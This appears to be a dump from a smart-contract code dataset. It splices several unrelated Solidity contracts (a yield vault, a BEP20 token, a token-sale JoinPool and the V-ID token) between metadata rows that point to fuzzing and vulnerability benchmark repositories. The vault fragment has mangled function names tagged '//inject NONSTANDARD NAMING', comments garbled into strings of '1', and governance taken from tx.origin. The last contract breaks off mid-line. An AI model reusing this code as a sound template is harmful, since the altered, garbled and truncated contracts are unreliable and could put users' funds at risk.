uint public min = 9500; uint public constant max986 = 10000; //inject NONSTANDARD NAMING uint public earnLowerlimit; //1111111111111earn address public governance; address public controller; struct Player { uint256 stake; // 1111 uint256 payout; // 11 uint256 total_out; // 1111111 } mapping(address => Player) public player_; // (player => data) player data struct Global { uint256 total_stake; // 11111 uint256 total_out; // 11111 uint256 earnings_per_share; // 1111 } mapping(uint256 => Global) public global_; // (global => data) global data mapping (address => uint256) public deposittime; uint256 constant internal magnitude720 = 10**40; // 1014011 //inject NONSTANDARD NAMING address constant public yf82 = address(0x96F9632b25f874769969ff91219fCCb6ceDf26D2); //inject NONSTANDARD NAMING string public getName; constructor (address _token, uint256 _earnLowerlimit) public { token = IERC20(_token); getName = string(abi.encodePacked("yf:Vault:", ERC20Detailed(_token).NAME677())); earnLowerlimit = _earnLowerlimit*1e18; YFToken = IERC20(yf82); governance = tx.origin; controller = 0xcC8d36211374a08fC61d74ed2E48e22b922C9D7C; } function BALANCE265() public view returns (uint) { //inject NONSTANDARD NAMING return token.BALANCEOF676(address(this)) .ADD125(Controller(controller).BALANCEOF676(address(token))); } function SETMIN245(uint _min) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); min = _min; } // 11111111111111111111 function SETGOVERNANCE992(address _governance) public { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); governance = _governance; } // 1111token function SETTOKEN102(address _token) public { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); token = IERC20(_token); } // 1111111111111111111 function SETCONTROLLER604(address _controller) public { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); controller = _controller; } function SETEARNLOWERLIMIT476(uint256 _earnLowerlimit) public{ //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); earnLowerlimit = _earnLowerlimit; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap // 11111111111 // 111111111111111111111 function AVAILABLE23() public view returns (uint) { //inject NONSTANDARD NAMING return token.BALANCEOF676(address(this)).MUL207(min).DIV619(max986); // balance*min/max 1111111111111111111 } // 11111Strategy1111111111111 vault->controller->strategy function EARN532() public { //inject NONSTANDARD NAMING uint _bal = AVAILABLE23(); // 1111111111111111111111 token.SAFETRANSFER644(controller, _bal); // 1111111 Controller(controller).EARN532(address(token), _bal); // 11111Strategy111111 } // 11 111111 function DEPOSIT245(uint amount) external { //inject NONSTANDARD NAMING // 111111111111111111appove1111111111111 token.SAFETRANSFERFROM18(msg.sender, address(this), amount); // 1111111111 player_[msg.sender].stake = player_[msg.sender].stake.ADD125(amount); // 11111110 if (global_[0].earnings_per_share != 0) { player_[msg.sender].payout = player_[msg.sender].payout.ADD125(global_[0].earnings_per_share.MUL207(amount).SUB171(1).DIV619(magnitude720).ADD125(1) // (((earnings_per_share*amount)-1)/magnitude)+1); } // 1111111111 global_[0].total_stake = global_[0].total_stake.ADD125(amount); // 111111111111111111111111111111111111111111111 if (token.BALANCEOF676(address(this)) > earnLowerlimit){ EARN532(); } // 11111111 deposittime[msg.sender] = now; } // No rebalance implementation for lower fees and faster swaps // 11 function WITHDRAW158(uint amount) external { //inject NONSTANDARD NAMING CLAIM365(); // 111111111111 require(amount <= player_[msg.sender].stake, "!balance"); uint r = amount; // Check balance uint b = token.BALANCEOF676(address(this)); if (b < r) { // 11vault111111111111111111111Strategy11111111111 uint _withdraw = r.SUB171(b); Controller(controller).WITHDRAW158(address(token), _withdraw); // 11 uint _after = token.BALANCEOF676(address(this)); uint _diff = _after.SUB171(b); if (_diff < _withdraw) { // 111111111111111111111vault111111 r = b.ADD125(_diff); } } // 111111111111111111111 player_[msg.sender].payout = player_[msg.sender].payout.SUB171(global_[0].earnings_per_share.MUL207(amount).DIV619(magnitude720)); // 1111111111111 player_[msg.sender].stake = player_[msg.sender].stake.SUB171(amount); global_[0].total_stake = global_[0].total_stake.SUB171(amount); // 1111111111 token.SAFETRANSFER644(msg.sender, r); } // Strategy.harvest 111111 function MAKE_PROFIT788(uint256 amount) public { //inject NONSTANDARD NAMING require(amount > 0, "not 0"); YFToken.SAFETRANSFERFROM18(msg.sender, address(this), amount); // 1111111111111110%1111190%1111111 global_[0].earnings_per_share = global_[0].earnings_per_share.ADD125(amount.MUL207(magnitude720).DIV619(global_[0].total_stake)); global_[0].total_out = global_[0].total_out.ADD125(amount); } // 11111111 function CAL_OUT246(address user) public view returns (uint256) { //inject NONSTANDARD NAMING uint256 _cal = global_[0].earnings_per_share.MUL207(player_[user].stake).DIV619(magnitude720); if (_cal < player_[user].payout) { return 0; } else { return _cal.SUB171(player_[user].payout); } } // 11111111111111111111111111.11111111111harvest1111111111 function CAL_OUT_PENDING918(uint256 _pendingBalance,address user) public view returns (uint256) { //inject NONSTANDARD NAMING uint256 _earnings_per_share = global_[0].earnings_per_share.ADD125(_pendingBalance.MUL207(magnitude720).DIV619(global_[0].total_stake)); uint256 _cal = _earnings_per_share.MUL207(player_[user].stake).DIV619(magnitude720); _cal = _cal.SUB171(CAL_OUT246(user)); if (_cal < player_[user].payout) { return 0; } else { return _cal.SUB171(player_[user].payout); } } // 111111 function CLAIM365() public { //inject NONSTANDARD NAMING uint256 out = CAL_OUT246(msg.sender); player_[msg.sender].payout = global_[0].earnings_per_share.MUL207(player_[msg.sender].stake).DIV619(magnitude720); player_[msg.sender].total_out = player_[msg.sender].total_out.ADD125(out); if (out > 0) { uint256 _depositTime = now - deposittime[msg.sender]; if (_depositTime < 1 days){ // deposit in 24h uint256 actually_out = _depositTime.MUL207(out).MUL207(1e18).DIV619(1 days).DIV619(1e18); uint256 to_team = out.SUB171(actually_out); YFToken.SAFETRANSFER644(Controller(controller).REWARDS630(), to_team); out = actually_out; } YFToken.SAFETRANSFER644(msg.sender, out); } } }
277,439
12,035
9a73bcf9e2a7975584e83f710baafd377449bb6cb8556718d5d30cf9e6b3e189
17,520
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0x77f6A5f1B7a2b6D6C322Af8581317D6Bb0a52689/contract.sol
4,222
16,765
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.7.6 <0.8.0; library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } interface IBEP20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IBEP20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract SporeToken is ERC20, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); constructor() ERC20("Spore Token", "SPORE") { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); } function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "must have minter role to mint"); _mint(to, amount); } function burn(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "must have minter role to mint"); _burn(to, amount); } }
254,847
12,036
e0e367f1a77c1097daa95ce9275d492b7be490b7c87f8275d33971008b606d40
18,525
.sol
Solidity
false
399716348
BSCStationSwap/contract
07f57a1b49b32f94d444591e1986c0066185d2de
JoinPoolMaxSell.sol
2,687
10,698
//https://programtheblockchain.com/posts/2018/02/17/signing-and-verifying-messages-in-ethereum/ //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract JoinPool { using SafeERC20 for IERC20; address public admin; address public fundReceiver; mapping(address => mapping(uint256 => mapping(uint256 => bool))) public isJoined; uint256 public totalJoined; address public busdToken; uint256 public joinStartAt; uint256 public joinedCount; uint256 public maxSell; bool public initialized; event EventJoined(address indexed sender, uint256 amount, uint256 projectId, uint256 roundId, uint256 date); event EventSetConfig(address _busdToken, uint256 _joinTime); event EventEmergencyWithdraw(address _token, address _to, uint256 _amount); constructor(address _busdToken, address _fundReceiver, uint256 _joinStartAt, uint256 _maxSellSlots) { admin = msg.sender; busdToken = _busdToken; joinStartAt = _joinStartAt; fundReceiver = _fundReceiver; maxSell = _maxSellSlots; } function setAdm(address _newAdmin) external { require(msg.sender == admin, 'only admin'); require(_newAdmin != address(0), '_newAdmin is zero address'); admin = _newAdmin; } function setConfig(address _busdToken, uint256 _joinStartAt, uint256 _maxSellSlots, address _fundReceiver) external { require(msg.sender == admin, 'only admin'); if (initialized == false) { initialized = true; } if (_busdToken != address(0)) { busdToken = _busdToken; } if (_joinStartAt > 0) { joinStartAt = _joinStartAt; } if (_fundReceiver != address(0)) { fundReceiver = _fundReceiver; } maxSell = _maxSellSlots; emit EventSetConfig(_busdToken, _joinStartAt); } function emergencyWithdraw(address _token, address _to, uint256 _amount) external { require(msg.sender == admin,'Not allowed'); IERC20(_token).safeTransfer(_to, _amount); emit EventEmergencyWithdraw(_token, _to, _amount); } function join(uint256 _amount, uint256 _projectId, uint256 _roundId, bytes calldata sig) external returns(bool) { require(fundReceiver != address(0), 'Invalid deposit'); require(joinStartAt > 0 && block.timestamp >= joinStartAt,'Join pool has not started yet'); bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, _amount, _projectId, _roundId, address(this)))); // must be in whitelist require(recoverSigner(message, sig) == admin , 'wrong signature'); require(isJoined[msg.sender][_projectId][_roundId] == false,'Already joined'); if (maxSell > 0) { require(joinedCount <= maxSell, 'Full slots'); } isJoined[msg.sender][_projectId][_roundId] = true; totalJoined += _amount; joinedCount += 1; IERC20(busdToken).transferFrom(msg.sender, fundReceiver, _amount); emit EventJoined(msg.sender, _amount, _projectId, _roundId, block.timestamp); return true; } function prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked('\x19Ethereum Signed Message:\n32', hash)); } function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) { uint8 v; bytes32 r; bytes32 s; (v, r, s) = splitSignature(sig); return ecrecover(message, v, r, s); } function splitSignature(bytes memory sig) internal pure returns (uint8, bytes32, bytes32) { require(sig.length == 65); bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } return (v, r, s); } }
246,110
12,037
72696a55f008303b4cfbba1d849172f9a653a821d402f0c6344746822418ffbd
9,744
.sol
Solidity
false
410736639
SoftSec-KAIST/Smartian-Artifact
33c42ba3f2b2f60093173801433b6fd7f3dd710d
benchmarks/B3/sol/0x445f51299ef3307dbd75036dd896565f5b4bf7a5.sol
2,946
9,251
pragma solidity ^0.4.24; contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256 balance); function allowance(address owner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a - b; assert(b <= a && c <= a); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a && c>=b); return c; } } library SafeERC20 { function safeTransfer(ERC20 _token, address _to, uint256 _value) internal { require(_token.transfer(_to, _value)); } } contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner,"O1- Owner only function"); _; } function setOwner(address newOwner) onlyOwner public { owner = newOwner; } } contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract VIDToken is Owned, Pausable, ERC20 { using SafeMath for uint256; using SafeERC20 for ERC20; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; mapping (address => bool) public frozenAccount; mapping (address => bool) public verifyPublisher; mapping (address => bool) public verifyWallet; struct fStruct { uint256 index; } mapping(string => fStruct) private fileHashes; string[] private fileIndex; string public constant name = "V-ID Token"; uint8 public constant decimals = 18; string public constant symbol = "VIDT"; uint256 public constant initialSupply = 100000000; uint256 public validationPrice = 7 * 10 ** uint(decimals); address public validationWallet = address(0); constructor() public { validationWallet = msg.sender; verifyWallet[msg.sender] = true; totalSupply = initialSupply * 10 ** uint(decimals); balances[msg.sender] = totalSupply; emit Transfer(address(0),owner,initialSupply); } function () public payable { revert(); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) { require(_to != msg.sender,"T1- Recipient can not be the same as sender"); require(_to != address(0),"T2- Please check the recipient address"); require(balances[msg.sender] >= _value,"T3- The balance of sender is too low"); require(!frozenAccount[msg.sender],"T4- The wallet of sender is frozen"); require(!frozenAccount[_to],"T5- The wallet of recipient is frozen"); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) { require(_to != address(0),"TF1- Please check the recipient address"); require(balances[_from] >= _value,"TF2- The balance of sender is too low"); require(allowed[_from][msg.sender] >= _value,"TF3- The allowance of sender is too low"); require(!frozenAccount[_from],"TF4- The wallet of sender is frozen"); require(!frozenAccount[_to],"TF5- The wallet of recipient is frozen"); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) { require((_value == 0) || (allowed[msg.sender][_spender] == 0),"A1- Reset allowance to 0 first"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } struct TKN { address sender; uint256 value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) public pure returns (bool) { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); return true; } function transferToken(address tokenAddress, uint256 tokens) public onlyOwner { ERC20(tokenAddress).safeTransfer(owner,tokens); } function burn(uint256 _value) public onlyOwner returns (bool) { require(_value <= balances[msg.sender],"B1- The balance of burner is too low"); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); return true; } function freeze(address _address, bool _state) public onlyOwner returns (bool) { frozenAccount[_address] = _state; emit Freeze(_address, _state); return true; } function validatePublisher(address Address, bool State, string Publisher) public onlyOwner returns (bool) { verifyPublisher[Address] = State; emit ValidatePublisher(Address,State,Publisher); return true; } function validateWallet(address Address, bool State, string Wallet) public onlyOwner returns (bool) { verifyWallet[Address] = State; emit ValidateWallet(Address,State,Wallet); return true; } function validateFile(address To, uint256 Payment, bytes Data, bool cStore, bool eLog) public whenNotPaused returns (bool) { require(Payment>=validationPrice,"V1- Insufficient payment provided"); require(verifyPublisher[msg.sender],"V2- Unverified publisher address"); require(!frozenAccount[msg.sender],"V3- The wallet of publisher is frozen"); require(Data.length == 64,"V4- Invalid hash provided"); if (!verifyWallet[To] || frozenAccount[To]) { To = validationWallet; } uint256 index = 0; string memory fileHash = string(Data); if (cStore) { if (fileIndex.length > 0) { require(fileHashes[fileHash].index == 0,"V5- This hash was previously validated"); } fileHashes[fileHash].index = fileIndex.push(fileHash)-1; index = fileHashes[fileHash].index; } if (allowed[To][msg.sender] 